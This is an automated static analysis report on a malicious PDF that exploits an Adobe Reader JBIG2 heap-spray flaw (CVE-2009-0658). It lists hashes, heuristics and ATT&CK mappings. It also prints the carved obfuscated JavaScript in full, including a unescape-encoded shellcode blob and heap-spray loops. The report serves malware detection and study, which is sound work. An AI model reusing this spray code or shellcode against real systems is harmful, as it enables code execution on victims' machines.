Malicious PDF — malware analysis report

Static analysis result for SHA-256 09a368576432f26b…

MALICIOUS

PDF

6.7 KB First seen: 2013-08-24
MD5: ca731756ad82aa85cfaef66c2c1c8b28 SHA-1: 13cdfb2d0ba449074ab9ea2beb6e89f6f8ee557d SHA-256: 09a368576432f26b1ee8b77db6a35ec20093cfcdbecafb71bd49f8d2ccf8b037
466 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains obfuscated JavaScript that leverages a heap spray exploit (CVE-2009-0658) targeting Adobe Reader. The JavaScript is designed to execute arbitrary code, indicated by the 'heap_spray' behavior and the detection of shellcode. The primary goal appears to be downloading and executing a secondary payload, as suggested by the exploit cluster and the presence of shellcode.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 9

  • Adobe Reader JBIG2Decode generic heap-spray exploit critical CVE likely CVE_2009_0658_GENERIC_SPRAY
    PDF combines JBIG2Decode image streams with JavaScript heap-spray or decoder scaffolding. This is likely CVE-2009-0658-family Adobe Reader JBIG2 exploitation, but it lacks the stricter Reader-9 version gate or decoded page-word shellcode fingerprint required by the exact rule.
  • JBIG2 + active content high CVE related PDF_JBIG2_ACTIVE_CONTENT
    JBIG2Decode appears with JavaScript/XFA/RichMedia — a related indicator for JBIG2 parser-exploit families including CVE-2021-30860 and CVE-2009-0658, but not a unique CVE fingerprint.
  • ClamAV: Heuristics.PDF.ObfuscatedNameObject critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Heuristics.PDF.ObfuscatedNameObject
  • Hex-obfuscated scripting name object critical PDF_OBFUSCATED_NAME_OBJECT
    A PDF name object that drives script execution (/JavaScript or /JS) is written with #XX hex escapes to hide it from string-based scanners — e.g. /J#61v#61S#63r#69p#74 decoding to /JavaScript. Legitimate PDF producers always write these names literally; hex-encoding an executable name is a deliberate evasion used by exploit-kit and dropper PDFs.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      var PegZDmZlmzlqnJDWqP = "";
  var nvdBjZddVlMnlRZ = unescape("%u9747%uf520%ua937%ud313%u15e1%u2dbe%u2a67%u4af8%u729b%ubf3c%u4b70%ufd32%u12b4%u7ceb%ud528%ub092%u7340%u983d%u3a9f%ud6d0%ub7b3%u2c91%u4f4e%u7f75%u667e%ue002%ud408%ub593%u1d41%u7a34%ub235%u8424%u2fe3%ub60c%u27bb%u4805%u4996%ub18d%u9042%u7d7b%uf901%u0d43%u99b9%u1471%u2504%ufc23%ub81c%ubaa8%u757d%u1a7a%u27e2%u2b3f%ue1d1%u737e%u0514%u4371%ufc03%u3b4f%u93f9%ub2b7%ufd39%u4774%u873c%ub3d6%u41b1%u7999%u4b78%ub53d%u047b%u9115%u4837%ub0b8%u6940%u77d4%ufe19%ud5c0%u86a8%u42 …
  var XgAepIVwDfYHxqijCYvEtCnwsSxjyMhRfTRyy = "";
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • JBIG2Decode filter medium PDF_JBIG2
    JBIG2 image decoder present — historically used in zero-click exploits
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0006_000.js pdf-javascript-stream PDF /JS object 6 at offset 0x210 5361 bytes
SHA-256: 013b80d3d7d81f5ab4c4dcb069296b63e900d32a0d3dba724f5819e01e85ab95
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 14 of 18 identifiers look randomly generated (e.g. 'jsJVKRlSmMAQrwcmluwhqGcGYQlDcxgNZVrWVrLo') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var IEKb = "";
		var PegZDmZlmzlqnJDWqP = "";
		var nvdBjZddVlMnlRZ = unescape("%u9747%uf520%ua937%ud313%u15e1%u2dbe%u2a67%u4af8%u729b%ubf3c%u4b70%ufd32%u12b4%u7ceb%ud528%ub092%u7340%u983d%u3a9f%ud6d0%ub7b3%u2c91%u4f4e%u7f75%u667e%ue002%ud408%ub593%u1d41%u7a34%ub235%u8424%u2fe3%ub60c%u27bb%u4805%u4996%ub18d%u9042%u7d7b%uf901%u0d43%u99b9%u1471%u2504%ufc23%ub81c%ubaa8%u757d%u1a7a%u27e2%u2b3f%ue1d1%u737e%u0514%u4371%ufc03%u3b4f%u93f9%ub2b7%ufd39%u4774%u873c%ub3d6%u41b1%u7999%u4b78%ub53d%u047b%u9115%u4837%ub0b8%u6940%u77d4%ufe19%ud5c0%u86a8%u42e0%u8d96%u2476%u6635%ua9b4%uff85%uebc1%u467f%u2d0c%ubbb9%u9f9b%ubf2f%u92b6%u4abe%u9890%u0d25%u0a72%u7cf5%u2c49%u701d%uba67%u1834%u4ef8%u1c97%ue338%u7148%u1d78%u8db6%u3fb3%ufc80%ubb47%u2546%u4a70%u6691%ub299%u8335%u40e1%u1579%ue088%ue322%u7376%u2d37%u984f%ubf96%u497c%u93b0%u107d%u9bd4%u32ba%u42e2%u4b24%uf987%u05b4%u7f14%u272c%u1cb5%u3c7a%u2a72%u74d5%u9704%u2f7e%uf500%u0db8%u7b75%ufd18%u6734%u77a9%ud109%u0ceb%ub7b9%uf82b%u38be%ud6f6%u4143%ua8b1%u9f3d%u7d90%u4e70%ua892%u7404%u667f%ud502%u7e78%ufc12%u67b5%u4634%ud46b%u37a9%ud313%u7ceb%uf50b%u7a27%u2514%u7647%u3b2d%u49f8%u424f%u4005%u79bf%u3c24%u9b93%ub7b2%ue029%ue221%uf703%u4ae3%u1cb6%u1577%u7371%u9648%u3090%ubad6%u4eb0%u3d75%ube8d%ufd39%u2f7b%ub3b8%ub41d%u4172%u0dbb%u2c3f%ub1b9%u924b%u9143%u9998%u359f%ue188%u750c%uf919%ubb97%u7093%u3a7a%ufcd0%ua996%ud201%u7ee0%u3772%u6673%ufd33%u9b99%u8140%u2de3%u7d78%ud569%u474e%ubabe%ub9a8%u908d%u2871%u42e2%uc11b%u4fe1%ud623%ub549%u77b8%ub014%uf889%ud422%u7c0d%u0c35%u7976%ub234%u2f9f%ueb08%u461c%u3c74%u7b04%u3f43%uf984%u417f%u9197%u1d27%u6748%u1a7a%ue2c0%u723d%ue131%ub74b%u2578%u2c7c%ub3b1%u7f92%ub605%u157e%uf580%u98b4%u71bf%u7324%u794a%u752f%u9224%ueb8c%uf50a%ue085%u7735%u9334%u7b8d%u7643%u4b14%ufc83%u11b0%u27e3%u40b9%u3799%u7d9f%u700c%ub315%ua905%u9649%u8648%ubbd6%uf946%ud51c%u4298%u674a%u1091%u2cf8%ub5be%u97b2%u2d90%u7447%ubf04%u4ea8%u3c25%u9bb1%ud420%ub61d%ub866%uba3f%ub70d%ub43d%u41fd%ud94f%ubbeb%u9804%ud151%u74d9%uf424%u2958%ub1c9%u835f%ufce8%u5831%u0313%u8b5c%u24b3%u43a0%uc7ba%u9458%u4edd%ua5bd%u35cf%u94b6%u3edf%u149a%u13ab%uae0e%ubbd9%u0721%u9a57%u980c%u2259%u5ac2%udefb%u8f18%udfdb%uc2d3%u271a%u2c09%uf04e%u9f46%u757f%u1c1a%u5981%u1c11%udcf9%ue9e5%udfb3%u4135%ua8cf%ue9ad%u0897%u3ecc%u75c4%u4b87%u0d3f%u9a16%uee71%ue229%ud1de%uef86%u151f%u1020%u6d6a%uad53%ub66d%u692e%u2bfb%ufa88%u885b%u2e29%u5b3d%u9b25%u0349%u1a29%u3f9d%u9755%u9020%ue3dc%u3406%ub085%u6d27%u1663%u6d57%uc7cb%ue5fd%u1cf9%ua787%u8c95%u23ed%u3965%ua299%ud00b%ud3ec%u4a87%u6ca3%u8c01%u46c4%u6d7c%u3e6d%uc629%ua8c4%ubeef%u8f91%ueaf0%u8f89%u2455%u6187%u2c38%ud314%ud8eb%ud2a1%u190b%u8485%u4e63%ubaa0%u8fb5%u2f67%u2971%u62b9%ua1d3%ub0b9%ub573%ue6e8%ue721%u575e%uecad%u790a%u0c16%u0c61%u98ae%u549a%udd46%u6aa8%u5496%u002e%u3692%ucac5%udecc%ub36c%u986e%uee70%u5abf%u46d9%uf3e8%u00b0%ufa3b%uaa24%ud7bc%u8cd0%uc237%u7891%u19a7%u6af0%u358e%u9348%u39ef%u2580%u8f41%uf88b%u675d%ub6c4%u21ff%u6cdb%u8d95%u8f4b%u0e79%ue78c%u0e79%uf7cc%u662e%u5394%u9383%u49db%u0fb0%ufb77%uf851%ufb1f%u07bd%ua8e0%u6feb%ud8f2%u929a%u310d%u9219%u7786%u14aa%u4b66%uda29%uae1d%u1869%u6135%u6176%uf239%uf1fa%u96b2%u7999%u2056%ufb2e%ua6db%u96b5%u7536%u1b1b%u793c");
		var XgAepIVwDfYHxqijCYvEtCnwsSxjyMhRfTRyy = "";

		for (hDBim=128;hDBim>=0;--hDBim) XgAepIVwDfYHxqijCYvEtCnwsSxjyMhRfTRyy += unescape("%u42b0%u279b");
		ZzhnEjCGgaTSpKbizFyVIHXtbdbQTUsjK = XgAepIVwDfYHxqijCYvEtCnwsSxjyMhRfTRyy + nvdBjZddVlMnlRZ;
		tWtplIiLzPupzqdgMsuICyltEDHcEpMJ = unescape("%u42b0%u279b");
		cGkHHSxtv = 20;
		UWlsZiLMCTDJMxcoIQTpdeCyGRTnZIzLvBGDoqWSQQgsFlh = cGkHHSxtv+ZzhnEjCGgaTSpKbizFyVIHXtbdbQTUsjK.length
		while (tWtplIiLzPupzqdgMsuICyltEDHcEpMJ.length<UWlsZiLMCTDJMxcoIQTpdeCyGRTnZIzLvBGDoqWSQQgsFlh) tWtplIiLzPupzqdgMsuICyltEDHcEpMJ+=tWtplIiLzPupzqdgMsuICyltEDHcEpMJ;
		kffMxhNZqLkYAKIcNmr = tWtplIiLzPupzqdgMsuICyltEDHcEpMJ.substring(0, UWlsZiLMCTDJMxcoIQTpdeCyGRTnZIzLvBGDoqWSQQgsFlh);
		wmLQkFHloTuMkegCImQK = tWtplIiLzPupzqdgMsuICyltEDHcEpMJ.substring(0, tWtplIiLzPupzqdgMsuICyltEDHcEpMJ.length-UWlsZiLMCTDJMxcoIQTpdeCyGRTnZIzLvBGDoqWSQQgsFlh);
		while(wmLQkFHloTuMkegCImQK.length+UWlsZiLMCTDJMxcoIQTpdeCyGRTnZIzLvBGDoqWSQQgsFlh < 0x40000) wmLQkFHloTuMkegCImQK = wmLQkFHloTuMkegCImQK+wmLQkFHloTuMkegCImQK+kffMxhNZqLkYAKIcNmr;
		NxgpTEQWZCGwQ = new Array();
		for (hDBim=0;hDBim<100;hDBim++) NxgpTEQWZCGwQ[hDBim] = wmLQkFHloTuMkegCImQK + ZzhnEjCGgaTSpKbizFyVIHXtbdbQTUsjK;

		for (hDBim=142;hDBim>=0;--hDBim) PegZDmZlmzlqnJDWqP += unescape("%ub550%u0166");
		yLMIGLGkfxkjJCXvqBBGdNrDRscUiDcSPdq = PegZDmZlmzlqnJDWqP.length + 20
		while (PegZDmZlmzlqnJDWqP.length < yLMIGLGkfxkjJCXvqBBGdNrDRscUiDcSPdq) PegZDmZlmzlqnJDWqP += PegZDmZlmzlqnJDWqP;
		jsJVKRlSmMAQrwcmluwhqGcGYQlDcxgNZVrWVrLonXQTiqMuj = PegZDmZlmzlqnJDWqP.substring(0, yLMIGLGkfxkjJCXvqBBGdNrDRscUiDcSPdq);
		MQbWUhxiDJFCGveYgKcyJSfkdaxTqyTOyHBPzF = PegZDmZlmzlqnJDWqP.substring(0, PegZDmZlmzlqnJDWqP.length-yLMIGLGkfxkjJCXvqBBGdNrDRscUiDcSPdq);
		while(MQbWUhxiDJFCGveYgKcyJSfkdaxTqyTOyHBPzF.length+yLMIGLGkfxkjJCXvqBBGdNrDRscUiDcSPdq < 0x40000) MQbWUhxiDJFCGveYgKcyJSfkdaxTqyTOyHBPzF = MQbWUhxiDJFCGveYgKcyJSfkdaxTqyTOyHBPzF+MQbWUhxiDJFCGveYgKcyJSfkdaxTqyTOyHBPzF+jsJVKRlSmMAQrwcmluwhqGcGYQlDcxgNZVrWVrLonXQTiqMuj;
		FDMjJPObrujruJjJeGEETlfxzHKZLZSPoh = new Array();
		for (hDBim=0;hDBim<125;hDBim++) FDMjJPObrujruJjJeGEETlfxzHKZLZSPoh[hDBim] = MQbWUhxiDJFCGveYgKcyJSfkdaxTqyTOyHBPzF + PegZDmZlmzlqnJDWqP;
javascript_obj0006_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 6 at offset 0x210 1024 bytes
SHA-256: 5875df04e3ccd887a39c7be19dee039dd002133a8fb8bc85cd4d6f5800afa4ae
Detection
ClamAV: Win.Trojan.MSShellcode-6360729-4
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.